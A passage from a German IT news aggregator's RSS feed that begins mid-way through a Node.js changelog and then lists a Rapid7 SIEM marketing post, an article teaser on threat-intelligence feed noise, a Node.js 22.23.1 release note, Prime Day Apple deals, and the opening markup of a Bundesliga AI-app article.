<li>[<a href="https://github.com/nodejs/node/commit/4b367cbe09"><code>4b367cbe09</code></a>] - <strong>quic</strong>: remove unused binding variable in session.cc (James M Snell) <a href="https://github.com/nodejs/node/pull/63177" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63177/hovercard">#63177</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2574bef5a6"><code>2574bef5a6</code></a>] - <strong>repl</strong>: fix dedup comparing normalized line against raw history (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62886" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62886/hovercard">#62886</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30e71c7e49"><code>30e71c7e49</code></a>] - <strong>sqlite</strong>: keep source database alive during backup (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62673/hovercard">#62673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/677ca7e76c"><code>677ca7e76c</code></a>] - <strong>src</strong>: simplify OpenSSL feature gates (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c863c75c39"><code>c863c75c39</code></a>] - <strong>src</strong>: add BoringSSL EVP enumeration fallback (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63206/hovercard">#63206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6b2466921"><code>f6b2466921</code></a>] - <strong>src</strong>: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62924/hovercard">#62924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92d4f07dd2"><code>92d4f07dd2</code></a>] - <strong>src</strong>: remove license headers for new node_profiling files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63066/hovercard">#63066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ac5d771c8"><code>8ac5d771c8</code></a>] - <strong>src</strong>: split profiling helpers from util (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/63008" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63008/hovercard">#63008</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85d1639495"><code>85d1639495</code></a>] - <strong>src</strong>: remove TOCTOU race condition when encoding SAB-backed <code>Buffer</code>s (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63517/hovercard">#63517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9473c5f05c"><code>9473c5f05c</code></a>] - <strong>src</strong>: skip duplicate UTF-8 validation in TextDecoder fatal path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63231" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63231/hovercard">#63231</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f35c91ee68"><code>f35c91ee68</code></a>] - <strong>src</strong>: improve token return value check (James M Snell) <a href="https://github.com/nodejs/node/pull/63483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63483/hovercard">#63483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26f677c1c5"><code>26f677c1c5</code></a>] - <strong>src</strong>: expose <code>node::RegisterContext</code> to make a node managed context (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62322" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62322/hovercard">#62322</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/275cf909b6"><code>275cf909b6</code></a>] - <strong>src,sqlite</strong>: only pass <code>xFilter</code> when user provided a callback (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63516" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63516/hovercard">#63516</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/287e02303f"><code>287e02303f</code></a>] - <strong>src,sqlite</strong>: remove dead code (Edy Silva) <a href="https://github.com/nodejs/node/pull/63204" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63204/hovercard">#63204</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58fa2ee189"><code>58fa2ee189</code></a>] - <strong>stream</strong>: switch to internal <code>sleep</code> binding (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63611" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63611/hovercard">#63611</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f954ab3f1a"><code>f954ab3f1a</code></a>] - <strong>stream</strong>: use data listener for compose forwarding (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63593/hovercard">#63593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc57173003"><code>dc57173003</code></a>] - <strong>stream</strong>: fix Writable.toWeb() hang on synchronous drain (sangwook) <a href="https://github.com/nodejs/node/pull/61197" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61197/hovercard">#61197</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f54c8ba32"><code>3f54c8ba32</code></a>] - <em><strong>Revert</strong></em> "<strong>stream</strong>: noop pause/resume on destroyed streams" (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63834/hovercard">#63834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cee279c5d6"><code>cee279c5d6</code></a>] - <strong>stream</strong>: remove unnecessary check (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63030" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63030/hovercard">#63030</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61b20f60a3"><code>61b20f60a3</code></a>] - <strong>test</strong>: update tls/crypto behaviour expectations when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63161/hovercard">#63161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a835363808"><code>a835363808</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 97bbc7247a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63417/hovercard">#63417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a00297480b"><code>a00297480b</code></a>] - <strong>test</strong>: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62389/hovercard">#62389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a95a2b055"><code>5a95a2b055</code></a>] - <strong>test</strong>: shorten path in net pipe connect errors (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63405" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63405/hovercard">#63405</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e8ff22d8f"><code>5e8ff22d8f</code></a>] - <strong>test</strong>: remove test-node-output-v8-warning (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63469" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63469/hovercard">#63469</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee15380950"><code>ee15380950</code></a>] - <strong>test</strong>: update test426-fixtures to 9b9e225b5a63139e9a95cdd1bf874a8f0b9d131 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63373" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63373/hovercard">#63373</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e063d9bea"><code>9e063d9bea</code></a>] - <strong>test</strong>: update WPT for url to e4a4672e9e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63372/hovercard">#63372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/503bee4b43"><code>503bee4b43</code></a>] - <strong>test</strong>: deflake async-hooks statwatcher test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63396/hovercard">#63396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cccc7c32d8"><code>cccc7c32d8</code></a>] - <strong>test</strong>: avoid test_runner watch restart in spec snapshot (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63392" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63392/hovercard">#63392</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89489258c"><code>c89489258c</code></a>] - <strong>test</strong>: reduce watch mode restart flakiness (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63390/hovercard">#63390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4d5e2578e"><code>e4d5e2578e</code></a>] - <strong>test</strong>: isolate rerun-failures state file under tmpdir (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63449/hovercard">#63449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/362644a9ba"><code>362644a9ba</code></a>] - <strong>test</strong>: wait for ok before initial break after restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62807/hovercard">#62807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4058d0e05"><code>c4058d0e05</code></a>] - <strong>test</strong>: disable Maglev in near-heap-limit worker test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63398" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63398/hovercard">#63398</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/214da630a7"><code>214da630a7</code></a>] - <strong>test</strong>: deflake connection refused proxy tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63395/hovercard">#63395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d61a29876"><code>1d61a29876</code></a>] - <strong>test</strong>: avoid repeated writes in watch helper (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63386" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63386/hovercard">#63386</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2004e25387"><code>2004e25387</code></a>] - <strong>test</strong>: deflake watch mode worker test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63384" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63384/hovercard">#63384</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d691cccfc1"><code>d691cccfc1</code></a>] - <strong>test</strong>: relax test-memory-usage arrayBuffers check (inoway46) <a href="https://github.com/nodejs/node/pull/63244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63244/hovercard">#63244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ff6bf853c"><code>0ff6bf853c</code></a>] - <strong>test</strong>: reduce flakiness of <code>different-registry-per-thread</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63244/hovercard">#63244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9f4e8e503"><code>d9f4e8e503</code></a>] - <strong>test</strong>: fix flaky test-watch-mode-inspect timeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63361" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63361/hovercard">#63361</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d7cd50328"><code>6d7cd50328</code></a>] - <strong>test</strong>: relax min assertion in test-performance-eventloopdelay (Marco) <a href="https://github.com/nodejs/node/pull/63100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63100/hovercard">#63100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dafe1d2d8"><code>9dafe1d2d8</code></a>] - <strong>test</strong>: avoid flaky restart sync in debugger exceptions test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62055/hovercard">#62055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/989b2de973"><code>989b2de973</code></a>] - <strong>test</strong>: avoid initial-break wait in restart-message (inoway46) <a href="https://github.com/nodejs/node/pull/62060" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62060/hovercard">#62060</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a072a25ee7"><code>a072a25ee7</code></a>] - <strong>test</strong>: move FFI tests to <code>NATIVE_SUITES</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63165/hovercard">#63165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64efbfd878"><code>64efbfd878</code></a>] - <strong>test</strong>: use ERM to destroy sqlite database handles after tests (René) <a href="https://github.com/nodejs/node/pull/63076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63076/hovercard">#63076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dee66cd94"><code>7dee66cd94</code></a>] - <strong>test_runner</strong>: dont buffer unordered events in process isolation mode (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63432" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63432/hovercard">#63432</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d257eec1e3"><code>d257eec1e3</code></a>] - <strong>test_runner</strong>: fix --test-rerun-failures swallowing failures on retry (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63431/hovercard">#63431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/288c320e2f"><code>288c320e2f</code></a>] - <strong>test_runner</strong>: show replayed-from-attempt hint in spec reporter (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63429/hovercard">#63429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/904bdf5bb4"><code>904bdf5bb4</code></a>] - <strong>test_runner</strong>: preserve run duration when using test-rerun (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63429/hovercard">#63429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df183d7bfa"><code>df183d7bfa</code></a>] - <strong>test_runner</strong>: avoid hanging on incomplete v8 frames (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62704/hovercard">#62704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec86c69726"><code>ec86c69726</code></a>] - <strong>test_runner</strong>: fix diagnostics channel context tracking (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63283" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63283/hovercard">#63283</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94e5f63b83"><code>94e5f63b83</code></a>] - <strong>tls</strong>: add unsupported renegotiation error (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63161/hovercard">#63161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06d308fb61"><code>06d308fb61</code></a>] - <strong>tools</strong>: prevent lib code from reading KeyObject and CryptoKey accessors (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e4a0d0c91"><code>2e4a0d0c91</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.5 to 5.0.6 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63415/hovercard">#63415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9666b366"><code>4c9666b366</code></a>] - <strong>tools</strong>: skip commit-lint on backport pull requests (Marco) <a href="https://github.com/nodejs/node/pull/63378" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63378/hovercard">#63378</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67d0c490a8"><code>67d0c490a8</code></a>] - <strong>tools</strong>: fix skip of <code>test-internet</code> on forks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63492/hovercard">#63492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02f73c7cac"><code>02f73c7cac</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63075/hovercard">#63075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d016d3241"><code>5d016d3241</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63374" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63374/hovercard">#63374</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55af0f0edb"><code>55af0f0edb</code></a>] - <strong>tools</strong>: fix test426 updater (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63271/hovercard">#63271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8475e167a"><code>d8475e167a</code></a>] - <strong>tools</strong>: use different branch for tool updates on staging branches (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63110/hovercard">#63110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c605df9e50"><code>c605df9e50</code></a>] - <strong>util</strong>: remove unused functions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63612" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63612/hovercard">#63612</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe4540ebdb"><code>fe4540ebdb</code></a>] - <strong>util</strong>: create hex style cache and fast path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/62999" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62999/hovercard">#62999</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why SIEM is Moving Toward Unified Security Operations: Rapid7 Named a Major Player in IDC MarketScape]]></title>
<description><![CDATA[Rapid7 has been named a Major Player in the IDC MarketScape: Worldwide SIEM 2026 Vendor Assessment (#US54126826, June 2026).This is the first IDC SIEM MarketScape to bring the enterprise and SMB markets into a single evaluation, and we believe it arrives at a time when the way teams buy and run a...]]></description>
<link>https://tsecurity.de/de/3619121/it-security-nachrichten/why-siem-is-moving-toward-unified-security-operations-rapid7-named-a-major-player-in-idc-marketscape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619121/it-security-nachrichten/why-siem-is-moving-toward-unified-security-operations-rapid7-named-a-major-player-in-idc-marketscape/</guid>
<pubDate>Tue, 23 Jun 2026 19:23:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><span>Rapid7 has been named a Major Player in the </span><span><em>IDC MarketScape: Worldwide SIEM 2026 Vendor Assessment</em></span><span> (#US54126826, June 2026).</span></h4><p><span>This is the first IDC SIEM MarketScape to bring the enterprise and SMB markets into a single evaluation, and we believe it arrives at a time when the way teams buy and run a SOC is changing quickly. Security teams are no longer evaluating detection and response in isolation. They want their threat data, automation, and view of the attack surface working together, rather than spread across a stack of disconnected tools.</span></p><p><span>We believe </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> reflects that shift by bringing threat data, automation, and attack surface context into one platform instead of leaving teams to work across disconnected tools. It also speaks to a broader change in security operations, where context matters more, speed matters more, and teams need a clearer path from alert to action. That same direction runs through Rapid7’s wider point of view on preemptive security: exposure, detection, and response work better when they inform each other through shared context, AI, and human expertise.</span></p><h2>Incident Command brings detection, response, and exposure context together</h2><p><span>Incident Command brings SIEM, SOAR, attack surface management, and threat intelligence together on a shared data model. That gives analysts access to asset risk, vulnerability data, and exposure context during an investigation, so they can understand whether a detection affects a high-risk, internet-facing asset without having to jump between separate products.</span></p><p><span>According to the IDC MarketScape, “Incident Command is a strong fit for midmarket to enterprise organizations that want a fully integrated security operations platform with predictable costs.”</span></p><p><span>The teams we talk to are tired of stitching tools together and dealing with surprise ingestion bills. They want fewer blind spots, faster investigations, and a clearer answer to what is urgent and what to do next. Incident Command addresses that by bringing exposure context, threat intelligence, and response automation into the SIEM workflow, helping teams investigate faster and act with more clarity. For organizations looking for additional managed coverage, Rapid7 MDR is available as a separate offering. As attacks move faster and environments become harder to manage, security operations work better when exposure, threat, and response data are connected through an open platform that gives teams the context they need to move with more speed and clarity.</span></p><h2>AI and automation, pressure-tested by a global SOC</h2><p><span>Many vendors talk about AI in the SOC. For customers, the more important question is how those capabilities are developed, tested, and refined so they are useful in real investigations rather than just sounding good in a product story. We believe the IDC MarketScape called out what that means in Rapid7’s case:</span></p><p><span>“AI models and automation capabilities are tested in the MDR SOC before release to product customers, providing a feedback loop between managed service outcomes and product development that organizations without their own MDR equivalent cannot replicate.”</span></p><p><span>Our MDR analysts work real incidents across thousands of customer environments every day. The detections, triage models, and automation that come out of that work are tested against live attacks before they reach product customers. That feedback loop helps make the AI Engine more useful in practice by handling repetitive work such as classifying alerts, compiling evidence, and surfacing next steps, while analysts spend their time on the decisions that actually require human judgment. That balance also reflects Rapid7’s broader platform story: AI-powered, backed by human expertise.</span><strong> </strong></p><h2>What we believe this IDC MarketScape recognition says about the future of SIEM</h2><p><span>The 2026 IDC MarketScape is a useful signal of where the market is heading. Organizations are looking for platforms where exposure and detection inform each other instead of living in separate systems, and where AI helps teams move faster without removing the human judgment needed to make the right call. We believe that is very much in line with the platform Rapid7 has been building through Incident Command and the wider Command Platform story. We’ll continue investing in the AI Engine, deeper attack surface context, and the integrations customers rely on. The goal remains straightforward: help defenders move faster to keep their environment safe, investigate with more context, and respond with machine speed and confidence.</span></p><p><span>Want to see Incident Command in action? Request a </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>demo</span></a><span> or explore the packages built to meet your team where it is.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your SOC Has Too Many IOCs: How to Cut Feed Noise, Prioritize What Matters, and Improve Response ]]></title>
<description><![CDATA[Most SOCs measure threat intelligence the same way they measure storage: bigger is better. A feed that delivers two million indicators a month looks more impressive on a vendor scorecard than one that delivers two hundred thousand. Dashboards proudly display IOC counts in the millions.  Procureme...]]></description>
<link>https://tsecurity.de/de/3619051/it-security-nachrichten/your-soc-has-too-many-iocs-how-to-cut-feed-noise-prioritize-what-matters-and-improve-response/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619051/it-security-nachrichten/your-soc-has-too-many-iocs-how-to-cut-feed-noise-prioritize-what-matters-and-improve-response/</guid>
<pubDate>Tue, 23 Jun 2026 19:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most SOCs measure threat intelligence the same way they measure storage: bigger is better. A feed that delivers two million indicators a month looks more impressive on a vendor scorecard than one that delivers two hundred thousand. Dashboards proudly display IOC counts in the millions.  Procurement decisions get justified by “coverage.” And yet, ask almost any SOC analyst how many of those indicators they’ve actually looked at, matched against a log, or used to close an investigation, and the answer is usually somewhere between “not many” and “no idea.”  This is the quiet contradiction at the center of modern threat intelligence: teams are drowning in indicators while starving for usable intelligence. Volume and value have become decoupled, and most security programs haven’t noticed because nobody is measuring the difference.  The Difference Between Threat Data and Threat Intelligence  An IOC is not automatically useful simply because it is labeled malicious. An IP address, domain, or an URL becomes operationally valuable only when it is:  Without these qualities, an IOC is merely a data point. It may look impressive in a dashboard, […]</p>
<p>The post <a href="https://cybersecuritynews.com/your-soc-has-too-many-iocs-how-to-cut-feed-noise-prioritize-what-matters-and-improve-response/">Your SOC Has Too Many IOCs: How to Cut Feed Noise, Prioritize What Matters, and Improve Response </a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-23, Version 22.23.1 'Jod' (LTS), @RafaelGSS]]></title>
<description><![CDATA[This release includes a fix for an unexpected behavior introduced
by the recent security release (22.23.0).
Commits

[41d2ee13be] - build: switch coverage-windows to windows-2022 (Richard Lau) #63940
[eaa292549e] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004]]></description>
<link>https://tsecurity.de/de/3619031/downloads/2026-06-23-version-22231-jod-lts-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619031/downloads/2026-06-23-version-22231-jod-lts-rafaelgss/</guid>
<pubDate>Tue, 23 Jun 2026 19:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release includes a fix for an unexpected behavior introduced<br>
by the recent security release (22.23.0).</p>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/41d2ee13be"><code>41d2ee13be</code></a>] - <strong>build</strong>: switch coverage-windows to <code>windows-2022</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/63940" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63940/hovercard">#63940</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eaa292549e"><code>eaa292549e</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prime Day Apple deals are live, grab sale prices from $14]]></title>
<description><![CDATA[Prime Day 2026 is officially here, and numerous Apple Watch, Mac, AirPods, and iPad models are at the lowest prices ever.Best Apple Prime Day deals deliver prices as low as $14 - Image credit: AppleDay 1 of Amazon Prime Day is in full swing, with record-breaking discounts on a variety of Apple pr...]]></description>
<link>https://tsecurity.de/de/3617749/ios-mac-os/prime-day-apple-deals-are-live-grab-sale-prices-from-14/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617749/ios-mac-os/prime-day-apple-deals-are-live-grab-sale-prices-from-14/</guid>
<pubDate>Tue, 23 Jun 2026 11:25:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/deals/amazon-prime-day">Prime Day 2026</a> is officially here, and numerous Apple Watch, Mac, AirPods, and iPad models are at the lowest prices ever.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68030-143408-prime-day-apple-deals-2026-xl.jpg" alt="Colorful AppleInsider Prime Day Apple Deals live coverage banner, featuring AirPods, MacBook, Apple Watch, iPad, accessories, and stacked Amazon shipping boxes on a purple and blue gradient background" height="720"><br><span>Best Apple Prime Day deals deliver prices as low as $14 - Image credit: Apple</span></div><br>Day 1 of Amazon Prime Day is in full swing, with record-breaking discounts on a variety of Apple products, from the Apple Watch Ultra 3 down to $649 to AirPods Max 2 for $399.<br><br><a href="https://www.amazon.com/primeday?discounts-widget=%22%7B%5C%22state%5C%22%3A%7B%5C%22refinementFilters%5C%22%3A%7B%5C%22brands%5C%22%3A%5B%5C%22110955%7CApple%5C%22%5D%7D%7D%2C%5C%22version%5C%22%3A1%7D%22&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Shop Prime Day deals</a><br><br><br> <a href="https://appleinsider.com/articles/26/06/23/prime-day-apple-deals-are-live-grab-sale-prices-from-14?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244738?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Bundesliga’s Captain tells us about AI-powered CX]]></title>
<description><![CDATA[The Bundesliga has long talked about turning “data into devotion,” and now it has an agentic AI companion in its official app that lets fans chat in natural language, access live stats and historical context, and view personalized video highlights—all without leaving the app.



Bundesliga is the...]]></description>
<link>https://tsecurity.de/de/3616576/it-security-nachrichten/what-bundesligas-captain-tells-us-about-ai-powered-cx/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616576/it-security-nachrichten/what-bundesligas-captain-tells-us-about-ai-powered-cx/</guid>
<pubDate>Mon, 22 Jun 2026 22:24:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



